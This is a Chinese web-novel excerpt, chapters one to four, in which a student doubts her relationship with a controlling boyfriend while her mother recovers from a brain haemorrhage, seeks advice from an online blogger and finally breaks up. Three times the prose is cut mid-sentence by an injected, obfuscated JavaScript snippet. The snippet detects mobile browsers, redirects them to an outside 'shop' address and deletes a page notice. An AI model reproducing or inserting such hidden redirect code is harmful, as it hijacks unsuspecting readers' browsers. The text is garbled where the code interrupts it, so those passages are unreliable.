《我很痛可是还有风》 1. 有风 《我很痛可是还有风》 绵言非觉/作品 2025-12-07 /// 转眼已经是十一月,西延市迅速降温。 已经上完本周所有课程的栗雨肆无忌惮地窝在床上。 她拿起手机看了眼时间,正准备继续冬眠的时候,男友冯瑞的电话打来。 栗雨懒懒地接起:“喂。” “喂,在干吗呢?” 对方一如既往关切的声音传入耳中,栗雨翻了个身体继续闭上眼睛,不情不愿地回道:“床上躺着。” “都中午了,还不起?” 栗雨蹙了蹙眉,心里想着,关你什么事? 但她一直不敢用这种容易引起冲突的语气跟别人说话,只是回了句:“嗯。” “我给你点了奶茶,下来拿。” 一听到“奶茶”这两个字,栗雨好像一下子被戳中了某根敏感神经。她倏然睁开双眼,满脑子都是不可置信:“怎么又给我点奶茶?” 对方言之凿凿:“不是你说想喝吗?” 栗雨有点无语:“你知道的,我在减肥。” “已经送到了。” “你赶紧起来拿,不然一会儿凉了,你喝了又要肚子疼。” “……” 男朋友给自己点奶茶,这事若是放在旁人身上,指不定又要感动得痛哭流涕,可是栗雨偏偏不喜欢这样的“无偿赠予”。 冯瑞做什么事从来不跟她商量,都是直接做决定,虽然有时候这个决定权也是栗雨交给他的,但就是说不上来的烦躁。 哪怕是把她说的话放在心上,可大多情况下,栗雨说出的一些话只是为了表达当下的一些愿景。 比如在减脂的时候,总是会大喊想吃大餐想喝奶茶,但这只是情绪化的表达,并不意味着实际行动就该如此…… 她更不希望让自己努力几个月的减脂成果功亏一篑,这比少吃几顿更让人难受。 冯瑞从来不理解她,只是说,你也不胖啊,想吃什么就吃呗。 栗雨看着他那愈发健壮的身体,心里有股莫名的怒火无处发泄。 男朋友的这种为她好,实在让她感到窒息。 她深呼一口气,尽量让自己的情绪保持稳定,哄了自己好一会儿,才不情不愿地穿衣服下床。 /// 昨天还在晴空万里的西延市,就像个闹脾气的小孩,气温骤降十度。 栗雨穿着绒毛睡衣,外边又套了个小棉袄才放心出门。 冷风呼呼地吹,迎面而来的已经没有上个月那种微风和煦的感觉,更多的是刺骨的冷意。 栗雨一边感受风从耳边吹过,一边在外卖架找冯瑞点的奶茶。 在看到自己的手机尾号之后,她长吁一口气,拎起奶茶袋子马不停蹄地往宿舍楼里跑。 回到寝室,栗雨坐在椅子上,后背靠着小狗靠枕,被冷风吹过的她睡意全无,只是目不转睛地盯着桌子上的奶茶。 到底喝不喝呢? 烦。 最终,她还是决定不要浪费食物,用嘴撕开了吸管的包装袋,然后戳开奶茶,喝了一口。 不知道是不是天气太冷,明明她从收到信息到下床拿才过了十分钟,但是奶茶已经有些凉了。 栗雨不喜欢喝凉的东西,但又不想浪费,于是把奶茶里的珍珠吸完之后,便放在了一边。 …… 手机还在嗡嗡地震动着。 想都不用想是冯瑞发来的。 【Feng:今天好冷啊,我们还要来工位。老板又给我们派了新的任务。】 【Feng:好烦。】 【Feng:你今天打算干什么?】 【Feng:奶茶喝到了吗?】 【Feng:宝宝?】 【Feng:睡着了吗?】 …… 看到他这一串消息,栗雨抓了抓头发,心里莫名烦躁,不知道回复什么。 /// 冯瑞比她大三岁,今年研二,跟她一个学校,西延师范大学,一个普通的211,读的计算机专业,具体的方向是网络安全。 由于是工科研究生,跟的又是院里知名的大牛导师,冯瑞大部分时间都很忙。 但除了待在工位的时间,其他的时间都用来陪她了。 按理说冯瑞为她付出很多,她的心应该早已经被打动,可是栗雨就是感觉哪里怪怪的。 有时候,她觉得自己依赖冯瑞。但大多时候,她又认为这根本不是喜欢。 手指在键盘上停了很久,最后随便发了个表情包。 但栗雨真的很想吐槽。 比如第一条,她想回——你们又不是白干活,一个月给我两三千我也起得来。 第二条,你烦跟我说有什么用。 第三条,姐的事少管。 …… 叫什么宝宝?!好讨厌这个称呼。 …… 栗雨想肆无忌惮地跟他吵一架,甚至单方面把他骂个狗血淋头。但是她厌倦冲突,这样两败俱伤对谁都没有好处。 现在,栗雨觉得自己跟冯瑞已经全然没有两个月前恋爱上头的感觉了。 其实,她这一个星期一直在犹豫要不要跟他分手。 她对他什么感觉呢? 有点形容不来,但她知道那有可能不是真正的喜欢,或者只是一种情感需要。 他恰好在她需要情感安慰的时候出现了…… 栗雨本想前几天跟他说明情况的,但是他又是请客吃饭,又陪她过生日,还给她送生日礼物,各方各面挑不出什么差错,所以她一直在犹豫。 冯瑞不止一次表达对自己的喜欢与渴求。 一遍又一遍说“宝宝有你真好”“我不能没有你”类似的话。 栗雨真的怕。 怕拒绝他之后,他接受不了。 …… 但烦躁是真的、厌倦是真的…… 这种感觉从刚冒出苗头,到现在越来越强烈,越来越强烈,强烈到自己已经无法忽视。 栗雨觉得自己不能再这样下去了,但是主动跟他说分手,似乎又有点难度。 /// 托着腮在座位上发呆了许久,栗雨终究还是抱着手机和充电宝上床了…… 刚钻进被窝,手机上方传来消息提示。 来自软件绿洲:【您关注的“有风”发布了新动态。】 “绿洲”是一款小众社交软件,以“表达观点,获取认可,寻找共鸣”的开发原则,备受年轻人喜欢。 栗雨玩的时间不久,满打满算今年是第四年,她是2021年在表妹的怂恿下注册的账号,不过一直很少登录,直到一年前,她的关注从0变成了1。 她关注的这个人,是绿洲粉丝排行榜第一的知名博主,昵称叫“有风”。 关注他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932476|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原因是—— 一年前,她发现自己在绿洲交的第一个朋友在私底下说她的坏话,还试图造谣挑衅,被她发现后恼羞成怒把她删掉了。 栗雨突然觉得这个软件好乱,什么样的人都有。 只要有手机号,人人都能玩,你不知道屏幕对面究竟是人是鬼。 且踩雷率很高。 毕竟,谁天天闲的没事把时间都花在无聊的陌生人社交上? 可就在她决定卸载“绿洲”的时候,恰好刷到了“有风”的一条动态—— “我就是我,自在随风。人生不过三万天,只管做自己,又何必在乎别人?” 她一怔,心血来潮去翻了翻他之前发的动态,顺手点了关注。 栗雨觉得他说的话很有味道。 具体是什么味道?栗雨想了一种形容—— 就像今天的心情是蓝色的,至于为什么是蓝色的呢,她也说不上来,但事实就是今天的心情是蓝色的。 她不知道自己为什么喜欢,但就是很喜欢。 这种喜欢是当下的共鸣。 是瞬息的感觉。 像春风一样,哪怕只是轻轻拂过,什么也没留下,也觉得如获新生。 /// 自从关注“有风”以来,每次有新动态,栗雨都会点进去看一看。 因为他发动态不是很固定,有时候几个月才发一次,所以她每次都看得很认真,几乎一字一句地看,觉得有共鸣的句子,栗雨还会摘抄在自己的日记本上,反复欣赏。 她不觉疲累,反而乐在其中。 “有风”发的大多都是他自己的原创语录,偶尔也会发一些读书的感悟。 比如今天。 他竟然发了加缪的作品! 栗雨察觉到自己的心跳渐渐加速,手机都要拿不稳。 【今天重新读了《加缪手记》—— “相信我,没有所谓的痛彻心扉。没有千古悔恨,没有深刻回忆。凡事都会被遗忘,哪怕是伟大的爱情。” 所以长痛不如短痛。 不要在爱中纠结,也不要渴望在爱中得到救赎,要选择能让你愉快做自己的爱。让爱滋润你,而非消耗你。如果爱上一个人会使你纠结,使你痛苦,不如趁早放手,潇洒离开。】 看到这句话,栗雨觉得认同,但又有点茫然…… 如果爱一个人会让她痛苦,她要趁早离开么? 怔愣间,新的动态已经有几百条评论。 栗雨刷新了一下,看到第一条热评—— 【幸运鸭:呜呜呜感谢偶像当初为我指点迷津~今天是我跟我男朋友在一起的365天啦!】 评论回复有很多祝“99”的,大部分都知道“幸运鸭”是“有风”的忠实粉丝。 栗雨刷了刷评论,忍不住点进“幸运鸭”的主页看了眼,发现她的置顶就是为了感谢“有风”特意写的小作文,已经有十万的点赞。 大概内容就是“幸运鸭”一年前由于第三者的插入跟男朋友的感情陷入僵局,在分手的边缘。 她不知道自己喜欢男朋友,还是这个天降的第三者,每天情绪都很崩溃,严重影响了工作和生活,找“有风”咨询之后,不仅揭开了第三者的真面目,成功跟男友和好如初,感情还越来越好了。 栗雨突然瞪大眼睛。 一个大胆的想法迅速扎根发芽…… 那,她是不是也可以“咨询”一下呢? 2. 有风 想法产生是一个很奇妙的过程。它先是悄悄冒头,然后像个火苗一样一下子蹿起来,让你的心躁动不已进而产生冲动,在此基础上,一切行为都顺理成章。 就如此刻,栗雨下意识点开跟“有风”的私信,手比眼快,没一会儿就敲了一大段字。 但想法之所以被称为想法是因为那只是脑电波之间的短暂交流,信号切断之后,理智会渐渐占据上风。 手指停顿了几秒,栗雨开始疯狂按删除键。 她陷入纠结。 /// 这是栗雨玩“绿洲”以来,第一次这么渴望与人交流。 哪怕是刚被表妹怂恿注册“绿洲”的时候,她也只是被动接受别人的好友申请。 社恐的属性让她懒得主动找话题,相比于“主动询问”,她更乐意“被动回答”。 更何况,一年前被她在绿洲认识的唯一朋友背刺之后,互联网社交在栗雨心里已经彻底变成了一种食之无味弃之可惜的娱乐方式。 除了这个,其实她纠结的深层原因是—— 她不知道以什么样的理由说服自己,去向一个陌生人咨询自己的私人感情问题。 更害怕得不到回复,别人的沉默演变为自我的尴尬。 …… 这些可以被归结于行动之前自己臆想出来的困境与阻碍。只有理清思路,突破桎梏,想法才有落地为实的可能。 只不过很多想法在落地之前就已经被扼杀在摇篮里了。 退缩的念头逐渐占上风,栗雨退出私信界面,点进他的主页。 “有风”的主页干净又清爽,色调是偏绿的淡蓝色,像雨后的青提薄荷。 背景是一张淡蓝色的ins风图,右边有一串英文字母“windblows”。头像是一张天空照。 简介也很简单,是一句同样很有味道的话——【风起时,遇见你。】 信息栏只有性别和年龄:男,29岁。 一切都恰到好处,没有太多复杂的修饰。 有些东西就是越简单、越迷人。 就像原本普通的汉字,被“有风”组合之后,是那么动人。没有复杂又华丽的修饰,是纯天然的、无添加的、绿色又健康的。 栗雨用手指滑着他的主页,突然看到“有风”昵称右边的在线状态从灰色变成了绿色! “有风”的在线动态从来不关,所以“绿洲”这个软件是栗雨仅有的开了消息通知的娱乐软件。 她常常在系统提示他在线的时候点进去,刷他的主页。 因为她觉得同时在线这一点就很奇妙。 像催化剂,让素不相识的人之间产生了某种独特的化学反应。 栗雨心跳开始加速,刚刚熄灭的那些想法又开始蠢蠢欲动。 这就是荒谬的想法与现实的想法之间的区别。 一个很容易熄灭,且很快消失。 而另一个熄灭了会迅速重燃,且燃得更旺。 /// 栗雨从床上坐起来,抱着西高地玩偶陷入沉思。 万一,他恰好能看到她的私信呢? 外边开始下雨了,狂风大作,吹得门窗咣当作响。 拨开云雾,她渐渐看清自己的内心。 栗雨觉得自己需要冷静一会儿,她关掉手机下床,把阳台挂的几天前就已经晾干的衣服都收进来,叠放整齐放到衣柜里。 她不再盯着桌面上的某处发呆,奶茶瓶子被她扔进垃圾桶。 一切还是那么井然有序,一看就是热爱生活的小女孩儿精心布置的成果—— 错落有致的收纳盒,摆放整齐的书籍,乖巧坐着的各种小玩偶和摆件,一盆被精心浇灌的水培椰子树。 她很喜欢装饰独属于自己的空间。 栗雨把脑袋敲在桌子上,告诉自己,就一次,就勇敢一次…… 她咬咬唇,打开手机开始敲字—— 【您好,很抱歉打扰您。不知道是否方便向您咨询一个情感问题?是这样的,我现在在犹豫要不要跟男朋友分手,我感觉他人挺不错,对我也很好,但我不确定自己对他的感情,有时候又觉得自己不喜欢他。他说很喜欢我,我怕跟他提分手他接受不了,所以一直很纠结……不知道您是否可以提供一些建议?】 栗雨反复斟酌了下措辞,确保语气和态度合理之后点击发送。 她的心提到了嗓子眼。 忽然,一条消息映入眼帘。 是“有风”的自动回复:【很高兴遇见你。】 外边的雨越下越大,伴随着一阵又一阵呼啸的风,时而急促,时而缓慢,并无节奏。 天似乎压得越来越低了,栗雨不得不把书桌上的灯打开。 室内安静得能听见自己的心跳。 栗雨捧着手机,盯着对方的天空头像傻笑。 忽然觉得有一阵风透过门缝袭来。 紧接着,心里的一扇窗被打开了。 栗雨有点震惊自己的心理变化,但她明显感觉到自己的精神得到前所未有的放松。 紧绷的弦需要适当松解,但松解过度会造成疲软。 短暂的兴奋过后,栗雨迎来内心的极度空虚。 她点了个外卖,半个小时后去楼下拿。然后,打开平板开始追剧。 这已经是她第三天吃黄焖鸡了。 吃完之后,栗雨刷牙洗脸,打算继续去床上躺着。 爸爸的电话就是在这个时候打来的。 栗雨一愣,颤着手接起:“喂,爸。” “小雨,吃饭了吗?” “吃过了。” “你妈妈昨天从ICU转到康复科了,来见见她吧。” “……” 挂断电话,栗雨开始脱自己身上的睡衣,她很后悔自己为什么不一下床就换好衣服,不然还可以再节省几分钟时间。 但她来不及细想,换好衣服拎着包抓着伞就往楼下冲。 她从来没觉得时间这么宝贵。 栗雨在雨中迈步跑着,伞是她的铠甲,冷风也变得轻柔起来,替她拂去眼泪。 她害怕一切。 又无所畏惧。 …… 西延师范大学离市医院算不上太近,但也不远,为了节省时间,栗雨选择坐校车到校门口,然后打车。 回想二十天前发生的事情,她现在还觉得好像做梦一样。 /// 栗雨出生在一个普通的体制内家庭,是家中独生女。虽然算不上特别富裕,但一直幸福美满。爸妈很爱她,给她无限包容,会支持她做的任何决定,参与她人生所有的重要时刻,从不缺席。 谁料二十天前,一向身体健康活力满满的妈妈突然脑出血,而且出血量不少,破入脑室,还不得已做了开颅手术,一直在ICU观察。 检查结果显示是由于一种叫烟雾病的脑血管疾病造成的。 虽然大家都知道妈妈早些年有头晕耳鸣的症状,但去医院检查没发现什么大问题,这次生病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932477|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才知道烟雾病要做脑血管造影才能检查出来。 具体形成原因不明。不确定是先天形成,还是后天因为做手术形成的。 天下没有后悔药。 她一直在盼望一个奇迹,等妈妈苏醒。 微信的聊天记录还停留在跟妈妈商量年底的时候去哪个会下雪的城市旅游。 她们会一起在雪的见证下,享受美妙的二人世界。 想象竟成了幻想。 想到这儿,她的眼泪流得更凶。 怎么能没有遗憾? 人生怎么能没有遗憾?! 栗雨关掉屏幕,整个人瘫在座位上,看着窗外的世界发呆。 雨淅淅沥沥地下,砸在车窗上,形成一朵又一朵漂亮的水花之后,又随着玻璃滑落。 外边的世界开始模糊不清。 …… 栗雨到病房的时候,妈妈已经睡着了。 她站在床边,有点不敢靠近。 那个友好和善的、明媚爱笑的妈妈,此刻就这么轻轻闭着眼,躺在床上。 她短时间内不能站起来,不会开口叫她的名字,甚至不认得她。 许是躺久了,她的脸甚至还有些发肿,跟从前大不相同。 这是栗雨大三开学以来第一次见到妈妈,她国庆节因为想听一场音乐会和备考教资所以没有回家。 这是她上个月做的最后悔的决定。 如果再给她一次机会…… 可惜没有如果。 栗雨不敢相信妈妈会变成这样,更控制不住自己的眼泪,尽管来之前告诉自己很多次不能在妈妈面前哭。 她只能背过身偷偷用纸巾擦,然后深呼吸,尽量保持平静。 护工阿姨拍了拍她的肩膀说:“你妈妈刚睡着,今天还没怎么睡,让她睡会儿吧。” 栗雨点点头,问:“我爸呢?” “找医生去了。” 栗雨坐在门口,迷茫地看向四周。 走廊的病床上几乎全部都住满了病人,有的在睡觉,有的一边打点滴一边刷短视频,有的在跟别人聊天…… 护士来来往往,又是查房又是换药。 每个人似乎都处在忙碌之中。 她却无事可做,除了等待。 看到爸爸从医生办公室出来,栗雨一个箭步冲上去:“爸,医生怎么说?” 栗平康安慰她:“你妈妈这种病只能慢慢来,急不得。” 她不知道说什么,只是回了个:“嗯。” “我去个卫生间。” /// 栗雨上完卫生间之后躲在楼道里悄悄哭,冯瑞的电话打来。 这段时间,他似乎总在她最脆弱的时候出现,给足了她安慰。 栗雨抿了把眼泪:“喂。” 许是听到栗雨的重重的鼻音,那边听上去很着急:“怎么了?宝宝。” 栗雨言简意赅地回答:“我来医院了。” “别哭了,你妈妈肯定会好起来的。而且,还有我陪着你呢。” 半个小时后,冯瑞站在她面前。 楼梯间,栗雨抱着他哭。 她不知道爱情是什么样子,不明白喜欢一个人究竟是什么感觉。 她只是需要一个拥抱,也只想要一个拥抱,而冯瑞恰好出现了…… 他们都没有说话。 不知道哭了多久,栗雨抬头。 泪水模糊了她的视线。 她看不清冯瑞的脸。 3. 有风 栗雨跟冯瑞一起打车回到学校时已经是傍晚,雨已经停了,只剩下狂风,一阵又一阵呼啸而过。 他们手牵手漫步到宿舍楼下。 冯瑞提出想要抱她。 栗雨站着没动,也没吭声。 冯瑞象征性地靠近她的身体。 他身高一米七七,栗雨只有一米五七,相差二十厘米,她刚好到冯瑞下巴那里。 冯瑞很自然地伸手摸了摸她的脑袋,笑着说:“好啦,天气冷,快回去吧。” 栗雨努努嘴,倏然抬头,看着冯瑞开心的样子,实在不知道该怎么把“分手”这两个字说出来。 “我……” “怎么了?今天的红糖珍珠奶茶不好喝吗?下次给你点芋泥米麻薯。” 栗雨摇了摇头:“不是。” 她的脑袋躲在白色卫衣的帽子里,帽子上还有两只耳朵耷拉着,整个人看上去像只乖巧的兔子。 栗雨垂着头,她的内心世界仿佛被这宽大的帽檐隔离了。 外边的世界空旷、寒冷、复杂,而她内心的世界虽然狭小,但是温暖、寂静、简单,却又丰盈。 呼吸声此起彼伏,但很快被冯瑞的声音掩盖:“不说了,我要去干活了。你自己一个人要乖乖的哦。” “等我发工资,给你包个大红包。” “嗯。” 栗雨终究什么也没多说,转身一个人上了楼。 已经八点了,室友都不在。 一迈入大三,大学生活似乎就要进入尾声。大家都在忙碌各自的事情,考完教资之后,一边做大创和挑战杯,一边准备保研、考研、考公或者找工作实习…… 似乎只有她像个烂泥扶不上墙的咸鱼,除了上课的时间几乎都在寝室瘫着,没做课题项目,也不想准备考研考公,甚至不想准备期末考试。 空虚再次填满了她,把她充胀成一个随时都可以爆裂的气球。 尽管她想找点事做,但大脑的混乱让她束手无策。 栗雨打开微信列表,打算找人聊聊天。可是,从置顶刷到底,没找到一个能说话的人。 跟闺蜜的聊天记录还停留在三天前,她向自己吐槽带的学生太笨了,有的竟然一道题都做不对。 栗雨没有当老师的经历,没有共鸣,只好发了个“抱抱”的表情包,说一些鼓励的话。 她跟闺蜜说起自己的事情时,她亦如此。 想当初她们在高中初识的时候,两个人能一起聊三个多小时,还觉得意犹未尽。 人终究是孤独的,要独自面对自己的人生。 而现在,栗雨面对人生的方式似乎只有一种。 她又要洗漱上床了。 这段时间她的作息十分不规律,有时候不到十点就睡了,有时候凌晨两三点才睡,而且经常会在做梦中途醒过来。 她做的梦光怪陆离,像是自己为自己铺设的诡谲世界。 比如今夜,她先是梦到自己插上翅膀,飞到了天空中,在一望无际的大草原上方自由驰骋。紧接着,她从山间坠落到谷底的树下,一抬头,漫天粉色的樱花雨降落。 然后她头置簪花,乘上了一趟在山间无限蜿蜒的黑色列车,最后居然到了小侄子的幼儿园,参加他的毕业典礼。 妈妈拉着小侄子站在他的画作前,嫂子正拿着拍立得给他们拍照。 然后,小侄子兴高采烈地朝她招手:“姑姑,快过来!” 栗雨见到妈妈愣了愣,有点不敢上前。可一切都是那么真实,伸手就能触及。 载着孩子童真的教学楼、挂在楼道里红色的灯笼剪纸与五颜六色的小彩灯、和贴满孩子稚嫩笔画的展览板共同组成了一幅画。 而他们都是画的组成部分,是世界的一部分,也是她的一部分。 …… 梦境戛然而止,栗雨一下子从梦里惊醒。 她被哽咽又窒息的感觉包裹,直到眼泪从眼角毫无保留地滑落。 大脑在昏沉之中瞬间空白,又在空白之中逐渐清醒。 栗雨伸手摸出手机,打开看时间:七点十七。 而时间下方,是来自“绿洲”三分钟前的消息通知—— “有风”回复了你。 多么美好又梦幻的七个字。 栗雨以为自己还在做梦,她眨了眨眼,确认了好几次,没有看错。 她点开,“有风”的回复落入眼中。 【有风:为什么犹豫?你怕分开遇不到比他更好的,但是还想再试试么?】 “有风”回答得很犀利,犀利到让她有些羞赧、无措、尴尬,且无地自容。 栗雨捧着手机,刹时脸红。她的眼眶还湿润着,几根睫毛都粘在一起。 一开始,栗雨没看太明白,再仔细看了一遍,她仍是不敢相信这样一句冰冷又带着几分质问的话来自“有风”——那个在她印象里一直温柔又知性的“有风”。 她眉头锁在一起,反复看了几遍自己的问题,不理解他为什么会解读出这样的意思? 过分曲解让她的尴尬渐渐演变为愤怒。 虽然她大多时候是只温顺的小猫,但偶尔也可以是带刺的玫瑰。 在情绪精心编织的梦幻陷阱里横冲直撞,不计后果。 她被愤怒裹挟,手指飞快在键盘上敲字。 嘴唇抿成一条线。 【pinkcloud:不是,我没有这样想。】 【pinkcloud:我不想跟他在一起所以想拒绝。犹豫是因为我想要陪伴,而且不想伤害他。】 “有风”许是在线,回答得很快。 【有风:该断则断,不要拖泥带水。看你怎么看待这个问题,得失总会有。】 【有风:如果你总是这样欲拒还迎,会让他以为你在释放魅力。】 “有风”突然认真的答复把栗雨心里绷紧的弦击断了。 飞速又精准。 她眼睛微微睁大,开始一字一顿默读着“有风”的回复,就像从前看他的动态一样。 半晌,栗雨开始疑惑。 欲拒还迎,她吗? 栗雨盯着屏幕,下意识开始思考。 短暂的思考让她的情绪冷静下来。 然后得出了“似乎确实是这样”的结论。 分手的想法产生于冯瑞每天不厌其烦地说早安、晚安以及打视频电话,且每次的通话时长不小于三十分钟。 如果不打电话,他们就会见面,见面的时间更久。 虽然那是冯瑞全部的娱乐时间,但栗雨的时间也不是都这么“恰好”地能被随意支配。 她表面看着无所事事,但实际有很多事情想做。 比如,阅读、健身、画画、一人食、弹钢琴等等。 栗雨是典型的J人,喜欢自由支配自己的时间,并且把一天的时间填满。 而冯瑞总是突然闯入且打破她原本计划好的世界,让她的安排变得一团糟。 并且跟他见面的这几个小时,栗雨只得到了空虚的快乐,并没有得到内在的自我满足感。 这才是栗雨想跟他分手的真正原因—— 她没有得到成长,而现在的她需要成长。 内在的成长使她充盈。 产生分手的想法之后,她开始考虑跟冯瑞减少接触,但始终狠不下心拒绝—— 冯瑞说打电话,她说不想打,但是他打过来她还是接了。 冯瑞喊她出去玩,她说不想去,但还是去了,而且还化了妆。 …… 诸如此类的事情还有很多。 栗雨瞪大瞳孔,后知后觉。 原来这种由自我纠结产生的不坚定拒绝,在对方眼里竟然是一种变相释放魅力的信号? 这也太离谱了! 她不敢相信,却很快接受。 于是,思考了会儿便开始敲字。 【pinkcloud:我刚刚回想了一下,似乎确实是这样。】 【有风:嗯。】 【有风:慢慢你就会看到曙光,这段时间只是迷茫,感觉快要看到曙光了。】 真的快要看到曙光了吗? 栗雨半信半疑,继续抛出问题—— 【pinkcloud:可是我该怎么做?改变我与他相处的方式吗?】 【有风:权衡利弊之后,做出决定。】 【有风:有些事情拖着不一定好,等拖到最后不能挽回的时候,麻烦就大了。】 栗雨觉得“有风”的回答有些故作高深。 她撇撇嘴,他好像确实跟自己想象中的不太一样。 想象中的“有风”该是翩翩君子、温润如玉、谈吐优雅,笑起来时仿若春风拂面。 可现在跟她聊天的“有风”,却像个理智又冷静的旁观者,完全在输出自己的见解与分析,十分客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932478|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观,且丝毫不留情面。 栗雨看得云里雾里,似懂非懂。 似乎“有风”的回答并没有让她找到答案,反而带来了更多的困惑。 她也知道,最终做出这个决定的人是她自己,不是其他任何人。 回了个“谢谢”的表情包之后,栗雨关掉手机,强迫自己开始思考与分析。 可大脑像是失控了一样,忍不住想入非非。 约莫十分钟后,手机开始持续震动。 冯瑞每天的早安仪式开始了—— 【Feng:宝宝早安!】 【Feng:昨晚有没有乖乖睡觉~】 【Feng:好喜欢宝宝^^】 【Feng:今天可能见不了面了,晚上要去参加组里的庆功宴。】 【Feng:宝宝想吃什么跟我说,我给宝宝点外卖~】 【Feng:起床之后记得给我发信息哦~】 【Feng:哦对了,今天给宝宝点了芋泥米麻薯~宝宝醒来就能喝到来自男朋友的爱心奶茶啦~】 又点奶茶…… 栗雨无处吐槽,觉得她实在是忍不了了。 终于,她说服了自己,打算明天跟冯瑞见面说分手。 于是,她开始绞尽脑汁想开场白。 然而,当栗雨还没想明白该怎么跟冯瑞说才能把对他的伤害降到最低的时候,令人更加讨厌的事情突然发生了。 /// 晚上九点钟,栗雨正准备上床,手机突然弹来了冯瑞的视频电话。 这是他第一次没有跟自己商量就贸然打来电话。 栗雨犹豫了几秒,还是接通。 冯瑞似乎喝了点小酒,看上去脸有些红。周围的环境很黑,手机一晃一晃的,很明显,他还在走路。 没等她开口,他的声音便从听筒传来:“宝宝,好喜欢你,好想见你。” 栗雨瞬间瞪大眼睛:“现在?” “嗯,我快到你宿舍楼下了。” 栗雨无语又无措地婉拒道:“我要上床睡觉了。” “怎么睡这么早?”冯瑞显然不听,开始无理取闹,“宝宝,你是不是不喜欢我了?” 栗雨翻了个白眼,忍无可忍:“别闹了。” 可冯瑞似乎并没有把她的回答放在心上,而是说:“快点下来。不然,我就在楼下叫你了。” 栗雨并不觉得冯瑞在吓唬人,是觉得他真的能说到做到,且会更疯狂。 她只好穿着睡衣下楼,望了一圈在垃圾桶旁边的树下找到了那个熟悉的身影。 栗雨小跑过去,还没来得及站稳就被冯瑞一把捞到怀里。 冯瑞想低头亲她,栗雨躲过去,并迅速推开了他,不解地问:“做什么?” 冯瑞有点不耐烦:“装什么?平时见我都穿JK不就是想勾/引我吗?” 栗雨瞳孔瞪大,不敢相信这种话居然是从冯瑞口中说出来的。 忍耐多日的怒火,似乎终于找到了爆发点,她警惕地后退几步,与他保持距离。 分手的话毫不犹豫地脱口而出:“冯瑞,我们分手吧。” 冯瑞蹙着眉,有些委屈又疑惑地问:“为什么?为什么分手?你不是很喜欢我吗?” 很喜欢我? 听到这几个字,栗雨觉得有点好笑:“我从来都没有主动说过我喜欢你。” 这是实话。 哪怕有,那也是在冯瑞的逼问下不得不说出来的。 冯瑞不信,丧失理智的他急于寻找论据论证:“你每天给我发早安晚安不是喜欢我吗?你既然不喜欢我,还穿JK来见我?还把妆画得那么漂亮。” 栗雨觉得眼前的人已经无可救药,她极力压制住内心的怒火:“你别疯了!我穿什么衣服,化什么妆是我的自由,跟你有什么关系?!” “宝宝……” “别叫我宝宝!” “宝宝你怎么凶我?是不是我吓到你了?” 栗雨:“……” 栗雨突然觉得跟他这么聊天简直是浪费生命。 两个人谁也没说话,就这么对望着。 一个十分冷漠;一个略显委屈。 冯瑞这两个月在她心里建立的良好形象在这一瞬间悉数崩塌。 栗雨勾着唇嘲笑自己。 果然男人还是太会伪装,她怎么会跟这样的人谈了两个月的恋爱?! 4. 有风 隔阂一旦产生会迅速放大,且不可逆转。尤其是恋爱当中的隔阂,就像钉在墙上的螺丝钉,即使拔掉了,裂缝也会一直存在。 栗雨哭了。 但她知道自己不是为冯瑞哭的。 而是—— 为她的失去,为她的得到。 为她千疮百孔的世界。 为她内心的丰盈。 为她的胆怯,也为她的勇敢。 月光像一条寂静的长河,柔和地洒落下来,照在她的头顶。她扇动的睫毛上忽然多了几分碎光,像天上散落的星星。 没有大片阴翳的遮蔽,原本漆黑的眼眸变得异常明亮,且决绝。 她一字一顿地开口:“我们结束了。不要再见了!” 说完,便转身离开。 栗雨一步一步走着,尽管穿着拖鞋,路上还有积水,但她的脚步是那般坚定。 坚定地朝那敞开的大门走去。 她的目光直视前方,风落在她的耳后。 星星为她降落。 月光像皇冠,为她加冕。 一回到寝室,栗雨就把冯瑞的联系方式全部删除拉黑,社交平台的关注也全部清除。 自己跟这种人最好永远不要再见。 她在心里告诫自己: 永远不要对男人心软。 永远要以自己的感受为主。 永远尊重内心的真实想法。 她不需要这样看似甜蜜却异常无聊,看似丰富实际毫无营养价值的恋爱。 或许,男人就像是生活中的调味剂,可往往无添加的方式才是最健康的。 /// 栗雨冲了个热水澡,出来的时候恰好有个室友回来。 室友叫魏琪,跟她一样是小个子,只不过喜欢留短头发,再配上黑框眼镜和银色不规则耳钉,带着几分说不出的帅气,完美符合栗雨对喜欢弹吉他的女生的初印象。 见到她,对方显然很震惊:“咦?小雨。你今天居然还没有上床睡觉?” 她一边走一边把书包从肩膀上取下来,随手放在椅子上。她的床铺在栗雨的对面,都靠近阳台。 “刚好,我买了一份三明治,吃不完,分你一半。” 没等栗雨婉拒,魏琪已经把三明治递了过来。她有点不知所措,心里又开始犹豫到底要不要接。 